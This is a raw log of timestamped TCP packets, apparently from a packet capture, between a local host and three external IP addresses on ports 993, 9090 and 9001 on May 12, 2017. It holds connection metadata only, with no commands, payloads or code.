May 12, 2017 18:54:54.667990923 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.668030977 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668047905 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668056011 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668073893 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668081999 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668095112 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668102026 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668112993 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668119907 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668131113 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668278933 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.668304920 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668318987 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668332100 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668344021 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668354988 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668365955 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668378115 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668389082 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668396950 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668406010 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668411970 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668420076 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668426037 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668441057 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668453932 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668458939 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668462992 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668471098 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668478012 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.668487072 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.670233011 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.670258999 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.670377970 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.670397997 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.670408964 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.670420885 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.670434952 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.670447111 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.670460939 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.670466900 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.670475006 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.670480967 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.670506001 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.670531988 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.670547009 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.670572996 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.670586109 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.670663118 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.670675039 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.670766115 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:54:54.670778990 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:54.670874119 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.671247005 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.671267033 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.671408892 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.671423912 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.671498060 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.671509027 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.672553062 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.672569990 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.672910929 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.672935009 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.673059940 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.673074007 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.673131943 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.673142910 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.677244902 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.677262068 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.677361012 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.677373886 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.677434921 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.677444935 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.678097963 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.678117990 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.678400993 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.678416014 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.678513050 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.678524971 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.678585052 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.678596020 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.678838968 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.678848982 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679143906 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.679168940 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.679287910 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.679301023 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.679511070 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.679524899 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679536104 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679543018 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679548979 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679555893 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679562092 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679569006 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679574966 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679580927 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679588079 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679594994 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679600954 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679606915 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679613113 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679620028 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679625988 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679631948 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679639101 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679646969 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679652929 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679658890 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679811001 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.679831028 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679841042 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679847002 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679852962 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679860115 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679866076 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679872990 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679878950 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679886103 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679949045 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679975986 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.679995060 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.680010080 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.680022955 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.680037022 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.680047989 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.680061102 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.680074930 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.680085897 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.680099010 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.680111885 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.681442976 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:54.681459904 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.681596041 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.681613922 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.681623936 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.681632996 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.681853056 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.682534933 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.682614088 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.684576988 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.685017109 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.685036898 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.732307911 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.732333899 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.732352018 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.732714891 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.741570950 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.741596937 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.741606951 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.741731882 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.743576050 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.743606091 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.743622065 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.743709087 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.749336004 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.749363899 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.749700069 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.749718904 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.750797033 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.750821114 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.750920057 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.750935078 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.759996891 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.760011911 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.760210037 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.760237932 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.772469997 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.772494078 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.772598028 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.772613049 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.772627115 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.773003101 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.773026943 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.786807060 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.786824942 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.786837101 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.787076950 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.787102938 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.795414925 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.795447111 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.795591116 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.795614958 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.802195072 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.802229881 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.802303076 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.802323103 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.811480999 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.811511040 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.811806917 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.811826944 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.820218086 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.820238113 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.820327044 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.820349932 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.820655107 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.820668936 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.820871115 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.820890903 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.833436012 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.833456039 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.833730936 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.833754063 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.836469889 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.836484909 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.838824034 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.838852882 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.842475891 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:54.846822023 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.846853971 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.847103119 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.847136021 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.855978012 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.856013060 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.856136084 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.856184006 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.874495029 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.874526024 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.874675035 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.874692917 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.874705076 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.874903917 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.874933958 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.901935101 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.901967049 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.901984930 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.902085066 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.902111053 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.903139114 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.903166056 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.903306007 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.903326988 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.912405968 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.912467957 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.912533998 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.912554026 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.912992954 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.913070917 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.928857088 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.928884983 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.928898096 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.928967953 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.934266090 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.934292078 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.934304953 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.934585094 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.936000109 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.936023951 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.936045885 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.936275959 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.946844101 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.946866035 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.946882010 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.946937084 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.962415934 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.962451935 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.962807894 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.962830067 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.965831995 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.965873957 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.965944052 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.965961933 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.970786095 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.970807076 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.971205950 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.971223116 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.975680113 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.975706100 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.975774050 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.975795031 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.992410898 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.992424965 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.992585897 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.992607117 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.993674994 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.993694067 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:54.993808031 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:54.993830919 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.001848936 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.001873970 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.001981020 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:55.002002001 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.007855892 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.007880926 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.007972002 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:55.007992983 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.011805058 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.011828899 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.011899948 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:55.011919975 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.026295900 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.026323080 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.026343107 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.026431084 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:55.026453018 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.029561043 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.029584885 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.029705048 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:55.029725075 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.038958073 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.038981915 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.039066076 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:55.039088011 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.042819023 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.046211004 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.046235085 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.046390057 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:55.046405077 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.048495054 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.048521996 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.048744917 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:55.048758030 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.061341047 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.061367035 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.061470032 CEST	49199	993	192.168.1.16	195.154.107.23
May 12, 2017 18:54:55.061485052 CEST	993	49199	195.154.107.23	192.168.1.16
May 12, 2017 18:54:55.137875080 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.137900114 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.137913942 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.137942076 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:54:55.138005018 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.142318010 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.142349005 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.142362118 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.142469883 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.142472982 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.142488003 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.142503977 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.142587900 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.142782927 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.142801046 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.142878056 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.142895937 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.142913103 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.142935991 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.144529104 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.144546032 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147186041 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147233009 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147247076 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147259951 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147291899 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147315979 CEST	49200	9090	192.168.1.16	138.68.0.4
May 12, 2017 18:54:55.147331953 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147372961 CEST	9090	49200	138.68.0.4	192.168.1.16
May 12, 2017 18:54:55.147481918 CEST	9090	49200	138.68.0.4	192.168.1.16
